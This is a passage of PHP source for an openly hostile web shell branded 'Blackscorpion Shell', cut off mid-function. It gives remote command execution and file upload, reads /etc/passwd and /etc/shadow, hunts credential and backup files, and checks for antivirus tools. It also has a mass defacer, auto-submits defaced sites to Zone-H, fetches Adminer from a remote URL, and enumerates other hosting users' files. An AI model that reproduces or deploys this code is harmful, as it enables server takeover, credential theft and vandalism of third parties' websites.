- "locate .fetchmailrc" => "locate '.fetchmailrc'",
- "locate backup" => "locate backup",
- "locate dump" => "locate dump",
- "locate priv" => "locate priv"
- );
- function BlackscorpionHeader() {
- if(empty($_POST['charset']))
- $_POST['charset'] = $GLOBALS['default_charset'];
- global $color;
- echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><link rel='SHORTCUT ICON' href='https://scontent.fisb5-1.fna.fbcdn.net/v/t1.0-9/26167499_282922625564401_5726606951952680138_n.png?oh=86a4af2ba530d2718cf1222b36b87877&oe=5B41A5FF'><title>Blackscorpion Shell</title>
- <script type='text/javascript'>
- function tukar(lama,baru){
- document.getElementById(lama).style.display = 'none';
- document.getElementById(baru).style.display = 'block';
- }
- </script>";
- ?>
- <?php
- echo "
- <style>
- body{background-color:#0f2333;color:#0f2333}
- body,td,th{ font: 10pt Comic Sans MS, sans-serif;margin:0;vertical-align:top;color:#14cfd2; }
- table.info{ color:#fff;);
- background-repeat:no-repeat;
- background-position: top;
- background-attachment: fixed;
- -webkit-background-size: cover;
- -moz-background-size: cover;
- -o-background-size: cover;
- background-size: cover;}
- span,h1,a{ color: $color !important; }
- span{ font-weight: bolder; }
- button {
- -moz-box-shadow: 0px 16px 14px -7px #276873;
- -webkit-box-shadow: 0px 16px 14px -7px #276873;
- box-shadow: 0px 16px 14px -7px #276873;
- background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #ff0088), color-stop(1, #408c99));
- background:-moz-linear-gradient(top, #ff0088 5%, #408c99 100%);
- background:-webkit-linear-gradient(top, #ff0088 5%, #408c99 100%);
- background:-o-linear-gradient(top, #ff0088 5%, #408c99 100%);
- background:-ms-linear-gradient(top, #ff0088 5%, #408c99 100%);
- background:linear-gradient(to bottom, #ff0088 5%, #408c99 100%);
- filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088', endColorstr='#408c99',GradientType=0);
- background-color:#ff0088;
- border:1px solid #29668f;
- display:inline-block;
- cursor:pointer;
- color:#ffffff;
- font-family:Arial;
- font-size:12px;
- font-weight:bold;
- padding:5px 15px;
- text-decoration:none;
- text-shadow:0px 1px 0px #3d768a;
- }
- button:hover {
- background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #408c99), color-stop(1, #ff0088));
- background:-moz-linear-gradient(top, #408c99 5%, #ff0088 100%);
- background:-webkit-linear-gradient(top, #408c99 5%, #ff0088 100%);
- background:-o-linear-gradient(top, #408c99 5%, #ff0088 100%);
- background:-ms-linear-gradient(top, #408c99 5%, #ff0088 100%);
- background:linear-gradient(to bottom, #408c99 5%, #ff0088 100%);
- filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#408c99', endColorstr='#ff0088',GradientType=0);
- background-color:#408c99;
- }
- button:active {
- position:relative;
- top:1px;
- }
- .input{
- text-shadow: #777777 0px 0px 3px;
- border: 4px solid #007700;
- box-shadow: 0px 2px 4px #007700;
- color: #009900;
- text-align:center;
- border-top:1px solid #007700;
- border-left:1px solid #007700;
- border-bottom:1px solid #007700;
- border-right:1px solid #007700;
- background:transparent;
- height: 20px;
- font-size:14px;
- }
- .textarea {
- text-shadow: #777777 0px 0px 3px;
- border: 1px solid #007700;
- box-shadow: 0px 0px 4px #007700;
- color: #009900;
- text-align:center;
- border-top:1px solid #007700;
- border-left:1px solid #007700;
- border-bottom:1px solid #007700;
- border-right:1px solid #007700;
- background:transparent;
- }
- h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:teal;margin:0px; }
- div.content{ padding: 5px;margin-left:5px;background-color:#162435; }
- a{ text-decoration:none; }
- a:hover{ text-decoration:underline; }
- .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
- .bigarea{ width:100%;height:300px; }
- input,textarea,select{ margin:0;color:#fff;background-color:#0f2e56;border:1px solid #ff0000; font: 9pt Monospace,'Courier New'; }
- input[type='button']:hover,input[type='submit']:hover {background-color: $color;color:#000;}
- form{ margin:0px; }
- #toolsTbl{ text-align:center; }
- .toolsInp{ width: 300px }
- .main th{text-align:left;background-color:#5e5e5e; }
- .main tr:hover{background-color:#5e5e5e}
- .l1{background-color:#444}
- .l2{background-color:#333}
- pre{font-family:Courier,Monospace;}
- </style>
- <script>
- var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
- var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
- var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
- var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
- var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
- var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
- var d = document;
- function set(a,c,p1,p2,p3,charset) {
- if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
- if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
- if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
- if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
- if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
- if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
- }
- function g(a,c,p1,p2,p3,charset) {
- set(a,c,p1,p2,p3,charset);
- d.mf.submit();
- }
- function a(a,c,p1,p2,p3,charset) {
- set(a,c,p1,p2,p3,charset);
- var params = 'ajax=true';
- for(i=0;i<d.mf.elements.length;i++)
- params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
- sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
- }
- function sr(url, params) {
- if (window.XMLHttpRequest)
- req = new XMLHttpRequest();
- else if (window.ActiveXObject)
- req = new ActiveXObject('Microsoft.XMLHTTP');
- if (req) {
- req.onreadystatechange = processReqChange;
- req.open('POST', url, true);
- req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
- req.send(params);
- }
- }
- function processReqChange() {
- if( (req.readyState == 4) )
- if(req.status == 200) {
- var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
- var arr=reg.exec(req.responseText);
- eval(arr[2].substr(0, arr[1]));
- } else alert('Request error!');
- }
- </script>
- <head>
- <body>
- </div><div style='position:absolute;width:100%;background-color:#0e2233;top:0;left:0;'>
- <form method=post name=mf style='display:none;'>
- <input type=hidden name=a>
- <input type=hidden name=c>
- <input type=hidden name=p1>
- <input type=hidden name=p2>
- <input type=hidden name=p3>
- <input type=hidden name=charset>
- </form>";
- $freeSpace = @diskfreespace($GLOBALS['cwd']);
- $totalSpace = @disk_total_space($GLOBALS['cwd']);
- $totalSpace = $totalSpace?$totalSpace:1;
- $release = @php_uname('r');
- $kernel = @php_uname('s');
- $disable_functions = @ini_get('disable_functions');
- $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
- if(strpos('Linux', $kernel) !== false)
- $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
- else
- $explink .= urlencode($kernel . ' ' . substr($release,0,3));
- if(!function_exists('posix_getegid')) {
- $user = @get_current_user();
- $uid = @getmyuid();
- $gid = @getmygid();
- $group = "?";
- } else {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- $cwd_links = '';
- $path = explode("/", $GLOBALS['cwd']);
- $n=count($path);
- for($i=0; $i<$n-1; $i++) {
- $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
- for($j=0; $j<=$i; $j++)
- $cwd_links .= $path[$j].'/';
- $cwd_links .= "\")'>".$path[$i]."/</a>";
- }
- $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
- $opt_charsets = '';
- foreach($charsets as $item)
- $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
- $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Port Scanner' => 'PortScanner','Safe mode'=>'SafeMode','CgiShell'=>'CgiShell','Defacer' => 'Deface','Config' => 'blackieconfig','Symlink'=>'symlinkbyblackscorpion','Shells'=>'Shells','Private Tools' => 'priv8','Jumping'=>'jump1ing','Adminer'=>'adminer','Tools'=> 'Tools','Exec'=>'Console','Php'=>'Php','Sql'=>'Sql','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Back-Connect'=>'Network','Injector'=>'Injector','Dir Deface'=>'DirDefacer','Domains' => 'Domain','Zone-h' => 'ZHposter','php Obfuscator'=>'obfuscatorbyblackscorpion','Clean Logs'=> 'cleanlogs','About Me'=>'About');
- if(!empty($GLOBALS['auth_pass']))
- $m['Logout'] = 'Logout';
- $m['Self remove'] = 'SelfRemove';
- $menu = '';
- foreach($m as $k => $v)
- $menu .= '<button width="'.(int)(100/count($m)).'%"><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></button>';
- if($GLOBALS['os'] == 'nix') {
- $dominios = @file_get_contents("/etc/named.conf");
- if(!$dominios) {
- $DomainS = "/var/named";
- $Domainonserver = scandir($DomainS);
- $d0c = count($Domainonserver);
- } else {
- @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
- $out = sizeof(array_unique($out[1]));
- $d0c = $out." Domains";
- }
- } else {
- $d0c = "None";
- }
- $drives = "";
- if($GLOBALS['os'] == 'win') {
- foreach(range('c','z') as $drive)
- if(is_dir($drive.':\\'))
- $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
- }
- echo '<center><font color="Green" size="42" />Blacksc</font><font color="white" size="42" />orpion Shell</font><table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>D/functions:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
- . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
- . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('h:i:s d-m-Y') . '<br>' . BlackscorpionViewSize($totalSpace) . ' <span>Free:</span> ' . BlackscorpionViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>'.($disable_functions?$disable_functions:'All Function Enable').'<br>' . $cwd_links . ' '. BlackscorpionColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . ''
- . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Domains : </span>' .$d0c. '<br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
- . '<table style="border-top:10px solid #333;" cellpadding=2 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
- }
- function BlackscorpionFooter() {
- $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
- echo "
- </div>
- <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
- <tr>
- <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
- <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
- </tr><tr><hr>
- <div align='right'>
- <form action='' method='POST'><input type='submit' name='defacepage' value='Fuck Deface here'></form></div></center><hr>
- <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
- <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
- </tr><tr>
- <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
- <td><form method='post' ENCTYPE='multipart/form-data'>
- <input type=hidden name=a value='FilesMAn'>
- <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
- <input type=hidden name=p1 value='uploadFile'>
- <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
- <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
- </tr></table>";?><center><form method="post">
- <input type="text" name="email" value="<?php print $_POST['email']?>"required >
- <input type="submit" value="Send email test >>">
- </form>
- <br>
- <?php
- if (!empty($_POST['email'])){
- $xx = rand();
- mail($_POST['email'],"Result Report Test - ".$xx,"Sent from Blackscorpion Shell.Master mail is WORKING !");
- print "<b>send an report to [".$_POST['email']."] - $xx</b>";
- }
- ?></center><div class="content" style="border:2px solid <?php $color ?>;text-align:center;font-weight:bold; border-radius:6px;margin:auto; width:1000;"><marquee>Greetz::: Devil killer::::Black-Python:::The Alien::::Owl Master::: FrostByte :::: SHK V3n0m:::::> Shell Black Scorpion (ProBros)</marquee></div></div></body></html><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-9/cur849.ani), url(http://cur.cursors-4u.net/cursors/cur-9/cur849.png), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2011/11/22/night-diamond-bloody-red-diagonal-resize-2.html" target="_blank" title="Night Diamond Bloody Red - Diagonal Resize 2"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Night Diamond Bloody Red - Diagonal Resize 2" style="position:absolute; top: 0px; right: 0px;" /></a><?php
- }
- if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
- function posix_getpwuid($p) {return false;} }
- if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
- function posix_getgrgid($p) {return false;} }
- function BlackscorpionEx($in) {
- $out = '';
- if (function_exists('exec')) {
- @exec($in,$out);
- $out = @join("\n",$out);
- } elseif (function_exists('passthru')) {
- ob_start();
- @passthru($in);
- $out = ob_get_clean();
- } elseif (function_exists('system')) {
- ob_start();
- @system($in);
- $out = ob_get_clean();
- } elseif (function_exists('shell_exec')) {
- $out = shell_exec($in);
- } elseif (is_resource($f = @popen($in,"r"))) {
- $out = "";
- while(!@feof($f))
- $out .= fread($f,1024);
- pclose($f);
- }
- return $out;
- }
- function BlackscorpionViewSize($s) {
- if (is_int($s))
- $s = sprintf("%u", $s);
- if($s >= 1073741824)
- return sprintf('%1.2f', $s / 1073741824 ). ' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f', $s / 1048576 ) . ' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f', $s / 1024 ) . ' KB';
- else
- return $s . ' B';
- }
- function BlackscorpionPerms($p) {
- if (($p & 0xC000) == 0xC000)$i = 's';
- elseif (($p & 0xA000) == 0xA000)$i = 'l';
- elseif (($p & 0x8000) == 0x8000)$i = '-';
- elseif (($p & 0x6000) == 0x6000)$i = 'b';
- elseif (($p & 0x4000) == 0x4000)$i = 'd';
- elseif (($p & 0x2000) == 0x2000)$i = 'c';
- elseif (($p & 0x1000) == 0x1000)$i = 'p';
- else $i = 'u';
- $i .= (($p & 0x0100) ? 'r' : '-');
- $i .= (($p & 0x0080) ? 'w' : '-');
- $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
- $i .= (($p & 0x0020) ? 'r' : '-');
- $i .= (($p & 0x0010) ? 'w' : '-');
- $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
- $i .= (($p & 0x0004) ? 'r' : '-');
- $i .= (($p & 0x0002) ? 'w' : '-');
- $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
- return $i;
- }
- function BlackscorpionColor($f) {
- if (!@is_readable($f))
- return '<font color=#FF0000>' . BlackscorpionPerms(@fileperms($f)) . '</font>';
- elseif (!@is_writable($f))
- return '<font color=white>' . BlackscorpionPerms(@fileperms($f)) . '</font>';
- else
- return '<font color=#25ff00>' . BlackscorpionPerms(@fileperms($f)) . '</font>';
- }
- function BlackscorpionScandir($dir) {
- if(function_exists("scandir")) {
- return scandir($dir);
- } else {
- $dh = opendir($dir);
- while (false !== ($filename = readdir($dh)))
- $files[] = $filename;
- return $files;
- }
- }
- function BlackscorpionWhicH($p) {
- $path = BlackscorpionEx('which ' . $p);
- if(!empty($path))
- return $path;
- return false;
- }
- function actionSecInfo() {
- BlackscorpionHeader();
- echo '<center><h1>Server security information</h1></center><div class=content>';
- function BlackscorpionSecPaRaM($n, $v) {
- $v = trim($v);
- if($v) {
- echo '<span>' . $n . ': </span>';
- if(strpos($v, "\n") === false)
- echo $v . '<br>';
- else
- echo '<pre class=ml1>' . $v . '</pre>';
- }
- }
- BlackscorpionSecPaRaM('Server software', @getenv('SERVER_SOFTWARE'));
- if(function_exists('apache_get_modules'))
- BlackscorpionSecPaRaM('Loaded Apache modules', implode(', ', apache_get_modules()));
- BlackscorpionSecPaRaM('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
- BlackscorpionSecPaRaM('Open base dir', @ini_get('open_basedir'));
- BlackscorpionSecPaRaM('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
- BlackscorpionSecPaRaM('Safe mode include dir', @ini_get('safe_mode_include_dir'));
- BlackscorpionSecPaRaM('cURL support', function_exists('curl_version')?'enabled':'no');
- $temp=array();
- if(function_exists('mysql_get_client_info'))
- $temp[] = "MySql (".mysql_get_client_info().")";
- if(function_exists('mssql_connect'))
- $temp[] = "MSSQL";
- if(function_exists('pg_connect'))
- $temp[] = "PostgreSQL";
- if(function_exists('oci_connect'))
- $temp[] = "Oracle";
- BlackscorpionSecPaRaM('Supported databases', implode(', ', $temp));
- echo '<br>';
- if($GLOBALS['os'] == 'nix') {
- BlackscorpionSecPaRaM('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
- BlackscorpionSecPaRaM('Readable /proc/self/environ', @is_readable('/proc/self/environ')?"yes <a href='#' onclick='g(\"FilesTools\", \"/proc/self/\", \"environ\")'>[view]</a>":'no');
- BlackscorpionSecPaRaM('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
- BlackscorpionSecPaRaM('Readable /proc/self/fd/9', @is_readable('/proc/self/fd/9')?"yes <a href='#' onclick='g(\"FilesTools\", \"/proc/self\", \"fd/9\")'>[view]</a>":'no');
- BlackscorpionSecPaRaM('OS version', @file_get_contents('/proc/version'));
- BlackscorpionSecPaRaM('Distr name', @file_get_contents('/etc/issue.net'));
- if(!$GLOBALS['safe_mode']) {
- $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
- $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
- $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
- echo '<br>';
- $temp=array();
- foreach ($userful as $item)
- if(BlackscorpionWhicH($item))
- $temp[] = $item;
- BlackscorpionSecPaRaM('Userful', implode(', ',$temp));
- $temp=array();
- foreach ($danger as $item)
- if(BlackscorpionWhicH($item))
- $temp[] = $item;
- BlackscorpionSecPaRaM('Danger', implode(', ',$temp));
- $temp=array();
- foreach ($downloaders as $item)
- if(BlackscorpionWhicH($item))
- $temp[] = $item;
- BlackscorpionSecPaRaM('Downloaders', implode(', ',$temp));
- echo '<br/>';
- BlackscorpionSecPaRaM('HDD space', BlackscorpionEx('df -h'));
- BlackscorpionSecPaRaM('Hosts', @file_get_contents('/etc/hosts'));
- echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
- if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
- $temp = "";
- for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
- $uid = @posix_getpwuid($_POST['p2']);
- if ($uid)
- $temp .= join(':',$uid)."\n";
- }
- echo '<br/>';
- BlackscorpionSecPaRaM('Users', $temp);
- }
- }
- } else {
- BlackscorpionSecPaRaM('OS Version',BlackscorpionEx('ver'));
- BlackscorpionSecPaRaM('Account Settings',BlackscorpionEx('net accounts'));
- BlackscorpionSecPaRaM('User Accounts',BlackscorpionEx('net user'));
- }
- echo '</div>';
- BlackscorpionFooter();
- }
- function actionDeface() {
- BlackscorpionHeader();
- echo "<center><h1>Mass Defacer</h1></center><div class=content>";
- ?>
- <div align="left">
- <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;" >
- <p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>" >
- <br>file name : <input type=text name=file size=20 value="index.php">
- <br>Text Content : <br><textarea type=text name=Contents cols=70 rows=15 placeholder="Deface Text Here" class="textarea">Hacked by Blackscorpion Pakistan Zindabad</textarea>
- <br><input type=submit value="Update" class="input"></p></form>
- <?php
- if ($_POST['a'] == 'Deface') {
- $mainpath = $_POST[p1];
- $file = $_POST[p2];
- $txtContents = $_POST[p3];
- echo "-----------------------------------------------<br>
- [+] Single user Mass defacer [+]<br>
- -----------------------------------------------<br><br> ";
- $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
- while ($row = readdir($dir)) {
- $start = @fopen("$row/$file", "w");
- $code = $txtContents;
- $finish = @fwrite($start, $code);
- if ($finish) {
- echo "$row/$file > Done<br><br>";
- }
- }
- echo "-----------------------------------------------<br><br>[+] Script by Blackscorpion [+]";
- }
- echo '</div></div>';
- BlackscorpionFooter();
- }
- function actionZHposter() {
- BlackscorpionHeader();
- echo '<center><h1>Zone-H Poster</h1></center></center><br><div class=content>';
- $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
- $expld = explode('/',$furl );
- $burl =str_replace(end($expld),'',$furl);
- echo '<div class="content"><center>';
- $string = 1;
- if($string == 1)
- {
- ?>
- <br />
- <div class="zoneh">
- <center>
- <form action="<?php echo $self;?>?submit=send" method="post">
- <span>Notifier: </span><input name="defacer" size="67" id="text" value="Team_ProBro's" type="text"><br />
- <span>Select Hack Method: </span><select name="hackmode">
- <option value="">--------SELECT--------</option>
- <option value="1" >known vulnerability (i.e. unpatched system)</option>
- <option value="2" >undisclosed (new) vulnerability</option>
- <option value="3" >configuration / admin. mistake</option>
- <option value="4" >brute force attack</option>
- <option value="5" >social engineering</option>
- <option value="6" >Web Server intrusion</option>
- <option value="7" >Web Server external module intrusion</option>
- <option value="8" >Mail Server intrusion</option>
- <option value="9" >FTP Server intrusion</option>
- <option value="10" >SSH Server intrusion</option>
- <option value="11" >Telnet Server intrusion</option>
- <option value="12" >RPC Server intrusion</option>
- <option value="13" >Shares misconfiguration</option>
- <option value="14" >Other Server intrusion</option>
- <option value="15" >SQL Injection</option>
- <option value="16" >URL Poisoning</option>
- <option value="17" >File Inclusion</option>
- <option value="18" >Other Web Application bug</option>
- <option value="19" >Remote administrative panel access through bruteforcing</option>
- <option value="20" >Remote administrative panel access through password guessing</option>
- <option value="21" >Remote administrative panel access through social engineering</option>
- <option value="22" >Attack against the administrator/user (password stealing/sniffing)</option>
- <option value="23" >Access credentials through Man In the Middle attack</option>
- <option value="24" >Remote service password guessing</option>
- <option value="25" >Remote service password bruteforce</option>
- <option value="26" >Rerouting after attacking the Firewall</option>
- <option value="27" >Rerouting after attacking the Router</option>
- <option value="28" >DNS attack through social engineering</option>
- <option value="29" >DNS attack through cache poisoning</option>
- <option value="30" >Not available</option>
- <option value="31" >Cross-Site Scripting</option>
- </select>
- <br />
- <span>Select The Reason: </span><select name="reason">
- <option value="">--------SELECT--------</option>
- <option
- value="1" >Heh...just for fun!</option>
- <option value="2" >Revenge against that website</option>
- <option value="3" >Political reasons</option>
- <option value="4" >As a challenge</option>
- <option value="5" >I just want to be the best defacer</option>
- <option value="6" >Patriotism</option>
- <option value="7" >Not available</option>
- </select><br />
- <textarea name="domains" cols="90" rows="20" placeholder="Domains..."></textarea>
- <br />
- <input type="submit" value="send" />
- </form>
- </center>
- <?php
- }
- BlackscorpionFooter();
- }
- if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="send") {
- printHeader();
- $defacer= $_REQUEST['defacer'];
- $hackmode= $_REQUEST['hackmode'];
- $reason= $_REQUEST['reason'];
- $domains= $_REQUEST['domains'];
- $domains_list=explode("\n",$domains);
- if (empty($defacer))
- {
- die ("<center><b><font color =\"#FF0000\">You Must Fill The Notifier Name</font></b></center>");
- }
- elseif($hackmode == "")
- {
- die("<center><b><font color =\"#FF0000\">You Must Select The Method</b></font></center>");
- }
- elseif($reason == "")
- {
- die("<center><b><font color =\"#FF0000\">You Must Select The Reason</b></font></center>");
- }
- elseif(empty($domains))
- {
- die("<center><b><font color =\"#FF0000\">You Must Enter The Sites List<font></b></center>");
- }
- for($i=0;$i<count($domains_list);$i++) {
- if(substr($domains_list[$i], 0, 4) != "http")
- {
- $domains_list[$i] = "http://".$domains_list[$i];
- }
- $postVars=array("defacer"=>$defacer,"hackmode"=>$hackmode,"reason"=>$reason,"domain1"=>$domains_list[$i]);
- $curl = curl_init();
- curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($curl,CURLOPT_URL,'http://www.zone-h.com/notify/single');
- curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, FALSE);
- curl_setopt($curl,CURLOPT_TIMEOUT, 120);
- curl_setopt($curl,CURLOPT_POST,TRUE);
- curl_setopt($curl,CURLOPT_POSTFIELDS, $postVars);
- $a = curl_exec($curl);
- curl_close($curl);
- }
- echo "<pre style=\"margin-top:5px\"><br><center><font color =\"#00A220\"><b>Sending Sites To Zone-H Has Been Completed Successfully !!!</b><br><br>Visit Your --> <a target='_blank' href='http://zone-h.org/archive/notifier=".$defacer."/published=0'>Zone-h</a> <--<font></center>";
- BlackscorpionFooter(); exit;
- }
- function actionadminer(){
- BlackscorpionHeader();
- echo '<center><h1>Adminer</h1></center><center><div class=content>';
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
- function adminer($url, $isi) {
- $fp = fopen($isi, "w");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_FILE, $fp);
- return curl_exec($ch);
- curl_close($ch);
- fclose($fp);
- ob_flush();
- flush();
- }
- if(file_exists('ad.php')) {
- echo "<center><font color=lime><a href='ad.php' target='_blank'>-> Open Adminer in New Tab <-</a></font></center>";
- } else {
- if(adminer("https://raw.githubusercontent.com/sistech711/webhackingkit/master/adminer-4.3.1.php","ad.php")) {
- echo "<center><font color=lime><a href='ad.php' target='_blank'>-> adminer login <-</a></font></center>";
- } else {
- echo "<center><font color=red>Failed to download Adminer</font></center>";
- }
- }
- BlackscorpionFooter();
- }
- function actionjump1ing() {
- BlackscorpionHeader();
- echo '<center><h1>Jumping Server</h1></center><center><div class=content>';
- if(preg_match("/hsphere/", $dir)) {
- $urls = explode("\r\n", $_POST['url']);
- if(isset($_POST['jump'])) {
- echo "<pre>";
- foreach($urls as $url) {
- $url = str_replace(array("http://","www."), "", strtolower($url));
- $etc = "/etc/passwd";
- $f = fopen($etc,"r");
- while($gets = fgets($f)) {
- $pecah = explode(":", $gets);
- $user = $pecah[0];
- $dir_user = "/hsphere/local/home/$user";
- if(is_dir($dir_user) === true) {
- $url_user = $dir_user."/".$url;
- if(is_readable($url_user)) {
- $i++;
- $jrw = "[<font color=lime>R</font>]<font color=gold>$url_user</font></a>";
- if(is_writable($url_user)) {
- $jrw = "[<font color=lime>RW</font>]<font color=gold>$url_user</font></a>";
- }
- echo $jrw."<br>";
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ".$i." sites ".$ip;
- }
- echo "</pre>";
- } else {
- echo '<center>
- <form method="post">
